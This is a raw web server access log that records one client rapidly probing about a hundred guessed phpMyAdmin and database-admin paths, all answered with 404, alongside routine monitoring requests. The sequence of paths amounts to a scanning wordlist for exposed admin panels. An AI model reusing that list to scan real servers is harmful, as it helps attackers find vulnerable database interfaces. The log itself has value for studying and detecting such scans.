212.91.246.72 - - [09/Feb/2020:23:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.169.119.170 - - [09/Feb/2020:23:16:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
89.203.224.82 - - [09/Feb/2020:23:17:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
85.244.166.12 - - [09/Feb/2020:23:17:13 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:13 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:13 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:13 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:14 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:14 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:14 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:15 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:15 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:15 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:15 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:15 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:16 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:16 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:16 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:16 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:17 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:17 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:17 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:17 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:18 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:18 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:18 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:19 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:19 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:19 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:19 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:20 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:20 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:20 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:20 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:21 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:21 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:21 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:22 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:22 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:22 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:22 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:22 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:23 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:23 +0100] "GET /admin/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:23 +0100] "GET /admin/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:23 +0100] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:23 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:24 +0100] "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:24 +0100] "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:24 +0100] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:24 +0100] "GET /sql/php-myadmin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:25 +0100] "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:25 +0100] "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:25 +0100] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:25 +0100] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:26 +0100] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:26 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:26 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:26 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:27 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.244.166.12 - - [09/Feb/2020:23:17:27 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:27 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:28 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:28 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:28 +0100] "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:28 +0100] "GET /db/dbweb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:29 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:29 +0100] "GET /db/webdb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:29 +0100] "GET /db/dbadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:29 +0100] "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:29 +0100] "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:30 +0100] "GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:30 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:30 +0100] "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:30 +0100] "GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:30 +0100] "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:31 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:31 +0100] "GET /administrator/pma/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:31 +0100] "GET /administrator/PMA/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:31 +0100] "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:31 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:32 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:32 +0100] "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:32 +0100] "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:32 +0100] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:32 +0100] "GET /PMA2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:33 +0100] "GET /PMA2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:33 +0100] "GET /PMA2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:33 +0100] "GET /PMA2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:33 +0100] "GET /PMA2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:33 +0100] "GET /PMA2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:34 +0100] "GET /PMA2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:34 +0100] "GET /PMA2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:34 +0100] "GET /PMA2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:34 +0100] "GET /PMA2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:34 +0100] "GET /pma2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:34 +0100] "GET /pma2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:35 +0100] "GET /pma2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:35 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:35 +0100] "GET /pma2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:35 +0100] "GET /pma2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:36 +0100] "GET /pma2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:36 +0100] "GET /pma2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:36 +0100] "GET /pma2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
